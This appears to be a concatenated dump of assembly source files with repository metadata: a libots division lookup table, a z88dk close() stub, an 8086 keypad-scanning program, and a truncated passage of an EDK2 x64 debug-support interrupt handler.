.byte 0x09, 0x62, 0xde, 0x23, 0xad, 0x4c, 0x9e, 0x00 .byte 0x41, 0x74, 0xbe, 0xba, 0x47, 0x5a, 0x99, 0x3c .byte 0x89, 0x61, 0x1a, 0xc9, 0x06, 0xeb, 0x9d, 0x00 .byte 0x2d, 0x48, 0x95, 0x32, 0x92, 0x0d, 0xd6, 0x3b .byte 0x09, 0x61, 0x8a, 0x9d, 0xd8, 0x89, 0x9d, 0x00 .byte 0x14, 0x3b, 0xb1, 0x13, 0x3b, 0xb1, 0x13, 0x3b .byte 0x89, 0x60, 0xd7, 0xc3, 0x21, 0x29, 0x9d, 0x00 .byte 0x10, 0x26, 0x82, 0xac, 0x87, 0x43, 0x52, 0x3a .byte 0x09, 0x60, 0xc4, 0x60, 0xe1, 0xc8, 0x9c, 0x00 .byte 0x72, 0x33, 0xf6, 0x87, 0xc1, 0xc2, 0x91, 0x39 .byte 0x89, 0x5f, 0x31, 0x9b, 0x16, 0x69, 0x9c, 0x00 .byte 0xf4, 0xdb, 0x88, 0x60, 0x36, 0x2d, 0xd2, 0x38 .byte 0x09, 0x5f, 0x0a, 0x9c, 0xc0, 0x09, 0x9c, 0x00 .byte 0x14, 0x38, 0x81, 0x13, 0x38, 0x81, 0x13, 0x38 .byte 0xc9, 0x5e, 0x4b, 0x8e, 0xde, 0xaa, 0x9b, 0x00 .byte 0x20, 0xdc, 0x5e, 0x94, 0x1c, 0xbd, 0x55, 0x37 .byte 0x49, 0x5e, 0xf1, 0x9e, 0x6f, 0x4c, 0x9b, 0x00 .byte 0x54, 0x79, 0x74, 0xe0, 0x3d, 0xdf, 0x98, 0x36 .byte 0xc9, 0x5d, 0xfa, 0xfc, 0x72, 0xee, 0x9a, 0x00 .byte 0x1f, 0x82, 0xaf, 0xf2, 0xf9, 0xe5, 0xdc, 0x35 .byte 0x49, 0x5d, 0x5c, 0xd9, 0xe7, 0x90, 0x9a, 0x00 .byte 0x53, 0x13, 0x8c, 0xb7, 0xb2, 0xcf, 0x21, 0x35 .byte 0x09, 0x5d, 0x01, 0x67, 0xcd, 0x33, 0x9a, 0x00 .byte 0x9b, 0x67, 0x34, 0x01, 0xce, 0x9a, 0x67, 0x34 .byte 0x89, 0x5c, 0xbe, 0xda, 0x22, 0xd7, 0x99, 0x00 .byte 0x0d, 0x1e, 0xcb, 0x7b, 0xb5, 0x45, 0xae, 0x33 .byte 0x09, 0x5c, 0x51, 0x6b, 0xe7, 0x7a, 0x99, 0x00 .byte 0x14, 0xa0, 0xdf, 0xa1, 0xd6, 0xce, 0xf5, 0x32 .byte 0x89, 0x5b, 0x59, 0x51, 0x1a, 0x1f, 0x99, 0x00 .byte 0x6f, 0xf6, 0x0b, 0xb1, 0xa2, 0x34, 0x3e, 0x32 .byte 0x49, 0x5b, 0x50, 0xc7, 0xba, 0xc3, 0x98, 0x00 .byte 0x14, 0x60, 0xbb, 0x9e, 0x8e, 0x75, 0x87, 0x31 .byte 0xc9, 0x5a, 0x87, 0x09, 0xc8, 0x68, 0x98, 0x00 .byte 0x31, 0x01, 0x19, 0x0d, 0x13, 0x90, 0xd1, 0x30 .byte 0x49, 0x5a, 0x21, 0x56, 0x41, 0x0e, 0x98, 0x00 .byte 0x91, 0x03, 0x26, 0x40, 0xac, 0x82, 0x1c, 0x30 .byte 0x09, 0x5a, 0x0a, 0xed, 0x25, 0xb4, 0x97, 0x00 .byte 0xbe, 0x84, 0xf6, 0x12, 0xda, 0x4b, 0x68, 0x2f .byte 0x89, 0x59, 0xf7, 0x0f, 0x75, 0x5a, 0x97, 0x00 .byte 0x5f, 0xb1, 0x14, 0xed, 0x1f, 0xea, 0xb4, 0x2e .byte 0x09, 0x59, 0x5d, 0x02, 0x2e, 0x01, 0x97, 0x00 .byte 0x13, 0x70, 0x09, 0xb8, 0x04, 0x5c, 0x02, 0x2e .byte 0xc9, 0x58, 0x6b, 0x09, 0x50, 0xa8, 0x96, 0x00 .byte 0x2e, 0x01, 0x0a, 0xd5, 0x12, 0xa0, 0x50, 0x2d .byte 0x49, 0x58, 0x0a, 0x6c, 0xda, 0x4f, 0x96, 0x00 .byte 0x4e, 0xfb, 0xc9, 0x12, 0xd8, 0xb4, 0x9f, 0x2c .byte 0xc9, 0x57, 0xd2, 0x72, 0xcc, 0xf7, 0x95, 0x00 .byte 0xd2, 0x0f, 0x71, 0xa3, 0xe5, 0x98, 0xef, 0x2b .byte 0x89, 0x57, 0x0a, 0x68, 0x25, 0xa0, 0x95, 0x00 .byte 0xae, 0x04, 0xb4, 0x12, 0xd0, 0x4a, 0x40, 0x2b .byte 0x09, 0x57, 0x9f, 0x97, 0xe4, 0x48, 0x95, 0x00 .byte 0xfa, 0x53, 0x10, 0x3c, 0x2f, 0xc9, 0x91, 0x2a .byte 0xc9, 0x56, 0x21, 0x4f, 0x09, 0xf2, 0x94, 0x00 .byte 0x13, 0xe4, 0x29, 0x41, 0x9e, 0x12, 0xe4, 0x29 .byte 0x49, 0x56, 0xc1, 0xdd, 0x92, 0x9b, 0x94, 0x00 .byte 0xca, 0x4d, 0x4a, 0x80, 0xbb, 0x25, 0x37, 0x29 .byte 0x09, 0x56, 0x46, 0x94, 0x80, 0x45, 0x94, 0x00 .byte 0x8c, 0x28, 0x01, 0x8b, 0x28, 0x01, 0x8b, 0x28 .byte 0x89, 0x55, 0x0f, 0xc5, 0xd1, 0xef, 0x93, 0x00 .byte 0xf9, 0xd6, 0xe4, 0x1c, 0x8a, 0xa3, 0xdf, 0x27 .byte 0x09, 0x55, 0x0a, 0xc4, 0x85, 0x9a, 0x93, 0x00 .byte 0xb9, 0x50, 0x73, 0x12, 0x88, 0x0b, 0x35, 0x27 .byte 0xc9, 0x54, 0xb1, 0xe6, 0x9b, 0x45, 0x93, 0x00 .byte 0xb4, 0x68, 0x12, 0x60, 0xcd, 0x37, 0x8b, 0x26 .byte 0x49, 0x54, 0x05, 0x84, 0x13, 0xf1, 0x92, 0x00 .byte 0x39, 0x11, 0x2f, 0x09, 0x08, 0x27, 0xe2, 0x25 .byte 0x09, 0x54, 0x8c, 0xf4, 0xeb, 0x9c, 0x92, 0x00 .byte 0xcb, 0x21, 0x7b, 0x17, 0xe9, 0xd7, 0x39, 0x25 .byte 0x89, 0x53, 0x4a, 0x92, 0x24, 0x49, 0x92, 0x00 .byte 0x93, 0x24, 0x49, 0x92, 0x24, 0x49, 0x92, 0x24 .byte 0x49, 0x53, 0xbc, 0xb8, 0xbc, 0xf5, 0x91, 0x00 .byte 0x9a, 0xb3, 0x05, 0x76, 0x71, 0x79, 0xeb, 0x23 .byte 0xc9, 0x52, 0xd6, 0xc4, 0xb3, 0xa2, 0x91, 0x00 .byte 0x13, 0xf0, 0xcd, 0xab, 0x89, 0x67, 0x45, 0x23 .byte 0x89, 0x52, 0x01, 0x15, 0x09, 0x50, 0x91, 0x00 .byte 0x13, 0xa0, 0x22, 0x01, 0x2a, 0x12, 0xa0, 0x22 .byte 0x09, 0x52, 0x10, 0x09, 0xbc, 0xfd, 0x90, 0x00 .byte 0x22, 0x81, 0xb7, 0x1f, 0x12, 0x78, 0xfb, 0x21 .byte 0xc9, 0x51, 0x43, 0x02, 0xcc, 0xab, 0x90, 0x00 .byte 0x13, 0x60, 0x5e, 0x85, 0x04, 0x98, 0x57, 0x21 .byte 0x89, 0x51, 0x3f, 0x63, 0x38, 0x5a, 0x90, 0x00 .byte 0x76, 0x88, 0x0d, 0x7c, 0xc6, 0x70, 0xb4, 0x20 .byte 0x09, 0x51, 0x0a, 0x90, 0x00, 0x09, 0x90, 0x00 .byte 0x13, 0x20, 0x01, 0x12, 0x20, 0x01, 0x12, 0x20 .byte 0xc9, 0x50, 0x09, 0xee, 0x23, 0xb8, 0x8f, 0x00 .byte 0x7e, 0x04, 0xf7, 0x11, 0xdc, 0x47, 0x70, 0x1f .byte 0x49, 0x50, 0xfe, 0xe3, 0xa1, 0x67, 0x8f, 0x00 .byte 0xf1, 0xc2, 0x84, 0xfb, 0xc7, 0x43, 0xcf, 0x1e .byte 0x09, 0x50, 0xfe, 0xd9, 0x79, 0x17, 0x8f, 0x00 .byte 0x32, 0x44, 0x87, 0xfb, 0xb3, 0xf3, 0x2e, 0x1e .byte 0xc9, 0x4f, 0x73, 0x39, 0xab, 0xc7, 0x8e, 0x00 .byte 0x3b, 0xc8, 0xab, 0xe4, 0x72, 0x56, 0x8f, 0x1d .byte 0x49, 0x4f, 0x15, 0x6d, 0x35, 0x78, 0x8e, 0x00 .byte 0x07, 0xcf, 0x11, 0x28, 0xda, 0x6a, 0xf0, 0x1c .byte 0x09, 0x4f, 0xe8, 0xe0, 0x17, 0x29, 0x8e, 0x00 .byte 0x9b, 0x8d, 0x05, 0xce, 0xc1, 0x2f, 0x52, 0x1c .byte 0x89, 0x4e, 0x38, 0x02, 0x52, 0xda, 0x8d, 0x00 .byte 0x12, 0x90, 0xd2, 0x6e, 0x04, 0xa4, 0xb4, 0x1b .byte 0x49, 0x4e, 0x96, 0x3f, 0xe3, 0x8b, 0x8d, 0x00 .byte 0x21, 0x2b, 0xae, 0x2b, 0x7f, 0xc6, 0x17, 0x1b .byte 0x09, 0x4e, 0xd4, 0x08, 0xcb, 0x3d, 0x8d, 0x00 .byte 0x1b, 0x61, 0xb9, 0xa7, 0x11, 0x96, 0x7b, 0x1a .byte 0x89, 0x4d, 0x01, 0xcf, 0x08, 0xf0, 0x8c, 0x00 .byte 0x12, 0xe0, 0x19, 0x01, 0x9e, 0x11, 0xe0, 0x19 .byte 0x49, 0x4d, 0x66, 0x04, 0x9c, 0xa2, 0x8c, 0x00 .byte 0x47, 0xc0, 0x29, 0xca, 0x08, 0x38, 0x45, 0x19 .byte 0x09, 0x4d, 0x82, 0x1c, 0x84, 0x55, 0x8c, 0x00 .byte 0x95, 0xab, 0xbd, 0x02, 0x39, 0x08, 0xab, 0x18 .byte 0x89, 0x4c, 0x09, 0x8c, 0xc0, 0x08, 0x8c, 0x00 .byte 0x12, 0x18, 0x81, 0x11, 0x18, 0x81, 0x11, 0x18 .byte 0x49, 0x4c, 0xdf, 0xc8, 0x50, 0xbc, 0x8b, 0x00 .byte 0x81, 0x41, 0x68, 0xbd, 0x91, 0xa1, 0x78, 0x17 .byte 0x09, 0x4c, 0x14, 0x4a, 0x34, 0x70, 0x8b, 0x00 .byte 0xb5, 0x8e, 0x37, 0x27, 0x94, 0x68, 0xe0, 0x16 .byte 0xc9, 0x4b, 0xe2, 0x87, 0x6a, 0x24, 0x8b, 0x00 .byte 0x65, 0x11, 0x20, 0xc3, 0x0f, 0xd5, 0x48, 0x16 .byte 0x49, 0x4b, 0xaa, 0xfb, 0xf2, 0xd8, 0x8a, 0x00 .byte 0x46, 0xd0, 0x70, 0x52, 0xf7, 0xe5, 0xb1, 0x15 .byte 0x09, 0x4b, 0xef, 0x1f, 0xcd, 0x8d, 0x8a, 0x00 .byte 0xb9, 0x8c, 0x5c, 0xdd, 0x3f, 0x9a, 0x1b, 0x15 .byte 0xc9, 0x4a, 0x57, 0x70, 0xf8, 0x42, 0x8a, 0x00 .byte 0x8d, 0xb6, 0xd3, 0xac, 0xe0, 0xf0, 0x85, 0x14 .byte 0x49, 0x4a, 0xa3, 0x69, 0x74, 0xf8, 0x89, 0x00 .byte 0xc1, 0x41, 0x72, 0x44, 0xd3, 0xe8, 0xf0, 0x13 .byte 0x09, 0x4a, 0xaf, 0x89, 0x40, 0xae, 0x89, 0x00 .byte 0x5d, 0x13, 0x81, 0x5c, 0x13, 0x81, 0x5c, 0x13 .byte 0xc9, 0x49, 0x6f, 0x4f, 0x5c, 0x64, 0x89, 0x00 .byte 0xd8, 0xbb, 0x0a, 0xdc, 0x9e, 0xb8, 0xc8, 0x12 .byte 0x89, 0x49, 0xea, 0x3a, 0xc7, 0x1a, 0x89, 0x00 .byte 0xa1, 0x36, 0x03, 0xd3, 0x75, 0x8e, 0x35, 0x12 .byte 0x09, 0x49, 0x3b, 0xcd, 0x80, 0xd1, 0x88, 0x00 .byte 0xaf, 0x67, 0x82, 0x74, 0x9a, 0x01, 0xa3, 0x11 .byte 0xc9, 0x48, 0x89, 0x88, 0x88, 0x88, 0x88, 0x00 .byte 0x12, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11 .byte 0x89, 0x48, 0x09, 0xf0, 0xdd, 0x3f, 0x88, 0x00 .byte 0xbf, 0xfb, 0x07, 0x11, 0xe0, 0xbb, 0x7f, 0x10 .byte 0x49, 0x48, 0xf8, 0x87, 0x80, 0xf7, 0x87, 0x00 .byte 0xf0, 0x0f, 0x01, 0xef, 0x0f, 0x01, 0xef, 0x0f .byte 0x09, 0x48, 0x9a, 0xd5, 0x6f, 0xaf, 0x87, 0x00 .byte 0x81, 0x1a, 0x5a, 0x32, 0xab, 0xdf, 0x5e, 0x0f .byte 0x89, 0x47, 0x35, 0x5f, 0xab, 0x67, 0x87, 0x00 .byte 0xe3, 0xfd, 0xc8, 0x69, 0xbe, 0x56, 0xcf, 0x0e .byte 0x49, 0x47, 0x14, 0xac, 0x32, 0x20, 0x87, 0x00 .byte 0x41, 0x0e, 0x01, 0x26, 0x58, 0x65, 0x40, 0x0e .byte 0x09, 0x47, 0x7b, 0x44, 0x05, 0xd9, 0x86, 0x00 .byte 0x8d, 0x59, 0x69, 0xf4, 0x88, 0x0a, 0xb2, 0x0d .byte 0xc9, 0x46, 0xad, 0xb1, 0x22, 0x92, 0x86, 0x00 .byte 0x2d, 0x9d, 0xe3, 0x59, 0x63, 0x45, 0x24, 0x0d .byte 0x89, 0x46, 0xe7, 0x7d, 0x8a, 0x4b, 0x86, 0x00 .byte 0x11, 0xac, 0xa3, 0xcd, 0xfb, 0x14, 0x97, 0x0c .byte 0x49, 0x46, 0x5b, 0x34, 0x3c, 0x05, 0x86, 0x00 .byte 0xe7, 0x08, 0x17, 0xb4, 0x68, 0x78, 0x0a, 0x0c .byte 0x09, 0x46, 0x2d, 0x61, 0x37, 0xbf, 0x85, 0x00 .byte 0x36, 0x79, 0xdc, 0x59, 0xc2, 0x6e, 0x7e, 0x0b .byte 0x89, 0x45, 0x78, 0x91, 0x7b, 0x79, 0x85, 0x00 .byte 0x13, 0x57, 0xcb, 0xee, 0x22, 0xf7, 0xf2, 0x0a .byte 0x49, 0x45, 0x41, 0x53, 0x08, 0x34, 0x85, 0x00 .byte 0x11, 0x68, 0x0a, 0x81, 0xa6, 0x10, 0x68, 0x0a .byte 0x09, 0x45, 0x7d, 0x35, 0xdd, 0xee, 0x84, 0x00 .byte 0x0a, 0x01, 0x36, 0xf8, 0x6a, 0xba, 0xdd, 0x09 .byte 0xc9, 0x44, 0x09, 0xc8, 0xf9, 0xa9, 0x84, 0x00 .byte 0x3a, 0x3f, 0x95, 0x10, 0x90, 0xf3, 0x53, 0x09 .byte 0x89, 0x44, 0xac, 0x9b, 0x5d, 0x65, 0x84, 0x00 .byte 0x11, 0x20, 0x5e, 0x56, 0x37, 0xbb, 0xca, 0x08 .byte 0x49, 0x44, 0x11, 0x42, 0x08, 0x21, 0x84, 0x00 .byte 0x11, 0x42, 0x08, 0x21, 0x84, 0x10, 0x42, 0x08 .byte 0x09, 0x44, 0xc8, 0x4d, 0xf9, 0xdc, 0x83, 0x00 .byte 0xc2, 0x19, 0xae, 0x8e, 0x9b, 0xf2, 0xb9, 0x07 .byte 0xc9, 0x43, 0x40, 0x52, 0x30, 0x99, 0x83, 0x00 .byte 0xd0, 0x66, 0x7c, 0x7f, 0xa4, 0x60, 0x32, 0x07 .byte 0x89, 0x43, 0xc9, 0xe3, 0xac, 0x55, 0x83, 0x00 .byte 0x20, 0xb6, 0x2f, 0x91, 0xc7, 0x59, 0xab, 0x06 .byte 0x09, 0x43, 0x8e, 0x97, 0x6e, 0x12, 0x83, 0x00 .byte 0x77, 0xbe, 0x9f, 0x1a, 0x2f, 0xdd, 0x24, 0x06 .byte 0xc9, 0x42, 0x94, 0x03, 0x75, 0xcf, 0x82, 0x00 .byte 0x33, 0x66, 0x58, 0x27, 0x07, 0xea, 0x9e, 0x05 .byte 0x89, 0x42, 0xba, 0xbe, 0xbf, 0x8c, 0x82, 0x00 .byte 0x47, 0x41, 0x40, 0x73, 0x7d, 0x7f, 0x19, 0x05 .byte 0x49, 0x42, 0xb4, 0x60, 0x4e, 0x4a, 0x82, 0x00 .byte 0x8a, 0x57, 0x4c, 0x66, 0xc1, 0x9c, 0x94, 0x04 .byte 0x09, 0x42, 0x09, 0x82, 0x20, 0x08, 0x82, 0x00 .byte 0x11, 0x04, 0x41, 0x10, 0x04, 0x41, 0x10, 0x04 .byte 0xc9, 0x41, 0x13, 0xbc, 0x35, 0xc6, 0x81, 0x00 .byte 0x1d, 0xbf, 0x7f, 0x24, 0x78, 0x6b, 0x8c, 0x03 .byte 0x89, 0x41, 0xfb, 0xa8, 0x8d, 0x84, 0x81, 0x00 .byte 0xef, 0xa4, 0xe1, 0xf5, 0x51, 0x1b, 0x09, 0x03 .byte 0x49, 0x41, 0xba, 0xe3, 0x27, 0x43, 0x81, 0x00 .byte 0x5f, 0x8c, 0x9e, 0x72, 0xc7, 0x4f, 0x86, 0x02 .byte 0x09, 0x41, 0x11, 0x08, 0x04, 0x02, 0x81, 0x00 .byte 0x03, 0x81, 0x40, 0x20, 0x10, 0x08, 0x04, 0x02 .byte 0xc9, 0x40, 0x8c, 0xb2, 0x21, 0xc1, 0x80, 0x00 .byte 0x30, 0x75, 0xa3, 0x17, 0x65, 0x43, 0x82, 0x01 .byte 0x89, 0x40, 0x81, 0x80, 0x80, 0x80, 0x80, 0x00 .byte 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01 .byte 0x49, 0x40, 0x09, 0x10, 0x20, 0x40, 0x80, 0x00 .byte 0x03, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00 .byte 0x09, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
59.47646
79
0.598885
[ "BSD-2-Clause" ]
bofh453/libots
otsdivdat.asm
63,164
Assembly
; int close(int fd) SECTION code_clib SECTION code_fcntl PUBLIC close EXTERN asm_close defc close = asm_close
9.583333
22
0.782609
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/_DEVELOPMENT/fcntl/c/sccz80/close.asm
115
Assembly
assume cs:code,ds:data data segment pa equ 20a0h pb equ 20a1h pc equ 20a2h cr equ 20a3h rowval db ? colval db ? scode db ? data ends code segment start: mov ax,data mov ds,ax mov dx,cr mov al,90h out dx,al tryagain: mov bl,01h mov bh,03h mov cl,00h next_row: mov dx,pc mov al,bl out dx,al mov dx,pa in al,dx cmp al,00h jne calculate add cl,08h inc ah shl bl,01 dec bh jnz next_row jmp tryagain calculate: mov rowval,ah mov ah,00h rot_again: ror al,01 jc next inc ah inc cl jmp rot_again next: mov scode,cl mov colval,ah mov al,cl call disp mov ah,4ch int 21h disp proc mov bl,al mov cl,4 shr al,cl cmp al,09 jle add_30 add al,07 add_30: add al,30h mov dl,al mov ah,02 int 21h mov al,bl and al,0fh cmp al,09 jle add_30_1 add al,07 add_30_1: add al,30h mov dl,al mov ah,02 int 21h ret disp endp code ends end start
15.059524
22
0.481423
[ "MIT" ]
mvnsia/4th_Sem_Ise
4rth-Sem-Ise/Microprocessors -X86-/hardware/keyboard.asm
1,265
Assembly
;/** @file ; Low level x64 routines used by the debug support driver. ; ; Copyright (c) 2007 - 2011, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ;**/ EXCPT64_DIVIDE_ERROR EQU 0 EXCPT64_DEBUG EQU 1 EXCPT64_NMI EQU 2 EXCPT64_BREAKPOINT EQU 3 EXCPT64_OVERFLOW EQU 4 EXCPT64_BOUND EQU 5 EXCPT64_INVALID_OPCODE EQU 6 EXCPT64_DOUBLE_FAULT EQU 8 EXCPT64_INVALID_TSS EQU 10 EXCPT64_SEG_NOT_PRESENT EQU 11 EXCPT64_STACK_FAULT EQU 12 EXCPT64_GP_FAULT EQU 13 EXCPT64_PAGE_FAULT EQU 14 EXCPT64_FP_ERROR EQU 16 EXCPT64_ALIGNMENT_CHECK EQU 17 EXCPT64_MACHINE_CHECK EQU 18 EXCPT64_SIMD EQU 19 FXSTOR_FLAG EQU 01000000h ; bit cpuid 24 of feature flags ;; The FXSTOR and FXRSTOR commands are used for saving and restoring the x87, ;; MMX, SSE, SSE2, etc registers. The initialization of the debugsupport driver ;; MUST check the CPUID feature flags to see that these instructions are available ;; and fail to init if they are not. ;; fxstor [rdi] FXSTOR_RDI MACRO db 0fh, 0aeh, 00000111y ; mod = 00, reg/op = 000, r/m = 111 = [rdi] ENDM ;; fxrstor [rsi] FXRSTOR_RSI MACRO db 0fh, 0aeh, 00001110y ; mod = 00, reg/op = 001, r/m = 110 = [rsi] ENDM data SEGMENT public OrigVector, InterruptEntryStub, StubSize, CommonIdtEntry, FxStorSupport StubSize dd InterruptEntryStubEnd - InterruptEntryStub AppRsp dq 1111111111111111h ; ? DebugRsp dq 2222222222222222h ; ? ExtraPush dq 3333333333333333h ; ? ExceptData dq 4444444444444444h ; ? Rflags dq 5555555555555555h ; ? OrigVector dq 6666666666666666h ; ? ;; The declarations below define the memory region that will be used for the debug stack. ;; The context record will be built by pushing register values onto this stack. ;; It is imparitive that alignment be carefully managed, since the FXSTOR and ;; FXRSTOR instructions will GP fault if their memory operand is not 16 byte aligned. ;; ;; The stub will switch stacks from the application stack to the debuger stack ;; and pushes the exception number. ;; ;; Then we building the context record on the stack. Since the stack grows down, ;; we push the fields of the context record from the back to the front. There ;; are 336 bytes of stack used prior allocating the 512 bytes of stack to be ;; used as the memory buffer for the fxstor instruction. Therefore address of ;; the buffer used for the FXSTOR instruction is &Eax - 336 - 512, which ;; must be 16 byte aligned. ;; ;; We carefully locate the stack to make this happen. ;; ;; For reference, the context structure looks like this: ;; struct { ;; UINT64 ExceptionData; ;; FX_SAVE_STATE_X64 FxSaveState; // 512 bytes, must be 16 byte aligned ;; UINT64 Dr0, Dr1, Dr2, Dr3, Dr6, Dr7; ;; UINT64 Cr0, Cr1, Cr2, Cr3, Cr4, Cr8; ;; UINT64 RFlags; ;; UINT64 Ldtr, Tr; ;; UINT64 Gdtr[2], Idtr[2]; ;; UINT64 Rip; ;; UINT64 Gs, Fs, Es, Ds, Cs, Ss; ;; UINT64 Rdi, Rsi, Rbp, Rsp, Rbx, Rdx, Rcx, Rax; ;; UINT64 R8, R9, R10, R11, R12, R13, R14, R15; ;; } SYSTEM_CONTEXT_X64; // 64 bit system context record align 16 DebugStackEnd db "DbgStkEnd >>>>>>" ;; 16 byte long string - must be 16 bytes to preserve alignment dd 1ffch dup (000000000h) ;; 32K should be enough stack ;; This allocation is coocked to insure ;; that the the buffer for the FXSTORE instruction ;; will be 16 byte aligned also. ;; ExceptionNumber dq ? ;; first entry will be the vector number pushed by the stub DebugStackBegin db "<<<< DbgStkBegin" ;; initial debug ESP == DebugStackBegin, set in stub data ENDS text SEGMENT externdef InterruptDistrubutionHub:near ;------------------------------------------------------------------------------ ; BOOLEAN ; FxStorSupport ( ; void ; ) ; ; Abstract: Returns TRUE if FxStor instructions are supported ; FxStorSupport PROC PUBLIC ; ; cpuid corrupts rbx which must be preserved per the C calling convention ; push rbx mov rax, 1 cpuid mov eax, edx and rax, FXSTOR_FLAG shr rax, 24 pop rbx ret FxStorSupport ENDP ;------------------------------------------------------------------------------ ; void ; Vect2Desc ( ; IA32_IDT_GATE_DESCRIPTOR * DestDesc, // rcx ; void (*Vector) (void) // rdx ; ) ; ; Abstract: Encodes an IDT descriptor with the given physical address ; Vect2Desc PROC PUBLIC mov rax, rdx mov word ptr [rcx], ax ; write bits 15..0 of offset mov dx, cs mov word ptr [rcx+2], dx ; SYS_CODE_SEL from GDT mov word ptr [rcx+4], 0e00h OR 8000h ; type = 386 interrupt gate, present shr rax, 16 mov word ptr [rcx+6], ax ; write bits 31..16 of offset shr rax, 16 mov dword ptr [rcx+8], eax ; write bits 63..32 of offset ret Vect2Desc ENDP ;------------------------------------------------------------------------------ ; InterruptEntryStub ; ; Abstract: This code is not a function, but is a small piece of code that is ; copied and fixed up once for each IDT entry that is hooked. ; InterruptEntryStub:: push 0 ; push vector number - will be modified before installed db 0e9h ; jump rel32 dd 0 ; fixed up to relative address of CommonIdtEntry InterruptEntryStubEnd: ;------------------------------------------------------------------------------ ; CommonIdtEntry ; ; Abstract: This code is not a function, but is the common part for all IDT ; vectors. ; CommonIdtEntry:: ;; ;; At this point, the stub has saved the current application stack esp into AppRsp ;; and switched stacks to the debug stack, where it pushed the vector number ;; ;; The application stack looks like this: ;; ;; ... ;; (last application stack entry) ;; [16 bytes alignment, do not care it] ;; SS from interrupted task ;; RSP from interrupted task ;; rflags from interrupted task ;; CS from interrupted task ;; RIP from interrupted task ;; Error code <-------------------- Only present for some exeption types ;; ;; Vector Number <----------------- pushed in our IDT Entry ;; ;; The stub switched us to the debug stack and pushed the interrupt number. ;; ;; Next, construct the context record. It will be build on the debug stack by ;; pushing the registers in the correct order so as to create the context structure ;; on the debug stack. The context record must be built from the end back to the ;; beginning because the stack grows down... ; ;; For reference, the context record looks like this: ;; ;; typedef ;; struct { ;; UINT64 ExceptionData; ;; FX_SAVE_STATE_X64 FxSaveState; ;; UINT64 Dr0, Dr1, Dr2, Dr3, Dr6, Dr7; ;; UINT64 Cr0, Cr2, Cr3, Cr4, Cr8; ;; UINT64 RFlags; ;; UINT64 Ldtr, Tr; ;; UINT64 Gdtr[2], Idtr[2]; ;; UINT64 Rip; ;; UINT64 Gs, Fs, Es, Ds, Cs, Ss; ;; UINT64 Rdi, Rsi, Rbp, Rsp, Rbx, Rdx, Rcx, Rax; ;; UINT64 R8, R9, R10, R11, R12, R13, R14, R15; ;; } SYSTEM_CONTEXT_X64; // 64 bit system context record ;; NOTE: we save rsp here to prevent compiler put rip reference cause error AppRsp push rax mov rax, qword ptr [rsp][8] ; save vector number mov ExceptionNumber, rax ; save vector number pop rax add rsp, 8 ; pop vector number mov AppRsp, rsp ; save stack top mov rsp, offset DebugStackBegin ; switch to debugger stack sub rsp, 8 ; leave space for vector number ;; UINT64 Rdi, Rsi, Rbp, Rsp, Rbx, Rdx, Rcx, Rax; ;; UINT64 R8, R9, R10, R11, R12, R13, R14, R15; push r15 push r14 push r13 push r12 push r11 push r10 push r9 push r8 push rax push rcx push rdx push rbx push rsp push rbp push rsi push rdi ;; Save interrupt state rflags register... pushfq pop rax mov qword ptr Rflags, rax ;; We need to determine if any extra data was pushed by the exception, and if so, save it ;; To do this, we check the exception number pushed by the stub, and cache the ;; result in a variable since we'll need this again. cmp ExceptionNumber, EXCPT64_DOUBLE_FAULT jz ExtraPushOne cmp ExceptionNumber, EXCPT64_INVALID_TSS jz ExtraPushOne cmp ExceptionNumber, EXCPT64_SEG_NOT_PRESENT jz ExtraPushOne cmp ExceptionNumber, EXCPT64_STACK_FAULT jz ExtraPushOne cmp ExceptionNumber, EXCPT64_GP_FAULT jz ExtraPushOne cmp ExceptionNumber, EXCPT64_PAGE_FAULT jz ExtraPushOne cmp ExceptionNumber, EXCPT64_ALIGNMENT_CHECK jz ExtraPushOne mov ExtraPush, 0 mov ExceptData, 0 jmp ExtraPushDone ExtraPushOne: mov ExtraPush, 1 ;; If there's some extra data, save it also, and modify the saved AppRsp to effectively ;; pop this value off the application's stack. mov rax, AppRsp mov rbx, [rax] mov ExceptData, rbx add rax, 8 mov AppRsp, rax ExtraPushDone: ;; The "push" above pushed the debug stack rsp. Since what we're actually doing ;; is building the context record on the debug stack, we need to save the pushed ;; debug RSP, and replace it with the application's last stack entry... mov rax, [rsp + 24] mov DebugRsp, rax mov rax, AppRsp mov rax, QWORD PTR [rax + 24] ; application stack has ss, rsp, rflags, cs, & rip, so ; last actual application stack entry is saved at offset ; 24 bytes from stack top. mov [rsp + 24], rax ;; continue building context record ;; UINT64 Gs, Fs, Es, Ds, Cs, Ss; insure high 16 bits of each is zero mov rax, ss push rax ; CS from application is one entry back in application stack mov rax, AppRsp movzx rax, word ptr [rax + 8] push rax mov rax, ds push rax mov rax, es push rax mov rax, fs push rax mov rax, gs push rax ;; UINT64 Rip; ; Rip from application is on top of application stack mov rax, AppRsp push qword ptr [rax] ;; UINT64 Gdtr[2], Idtr[2]; push 0 push 0 sidt fword ptr [rsp] push 0 push 0 sgdt fword ptr [rsp] ;; UINT64 Ldtr, Tr; xor rax, rax str ax push rax sldt ax push rax ;; UINT64 RFlags; ;; Rflags from application is two entries back in application stack mov rax, AppRsp push qword ptr [rax + 16] ;; UINT64 Cr0, Cr1, Cr2, Cr3, Cr4, Cr8; ;; insure FXSAVE/FXRSTOR is enabled in CR4... ;; ... while we're at it, make sure DE is also enabled... mov rax, cr8 push rax mov rax, cr4 or rax, 208h mov cr4, rax push rax mov rax, cr3 push rax mov rax, cr2 push rax push 0 mov rax, cr0 push rax ;; UINT64 Dr0, Dr1, Dr2, Dr3, Dr6, Dr7; mov rax, dr7 push rax ;; clear Dr7 while executing debugger itself xor rax, rax mov dr7, rax mov rax, dr6 push rax ;; insure all status bits in dr6 are clear... xor rax, rax mov dr6, rax mov rax, dr3 push rax mov rax, dr2 push rax mov rax, dr1 push rax mov rax, dr0 push rax ;; FX_SAVE_STATE_X64 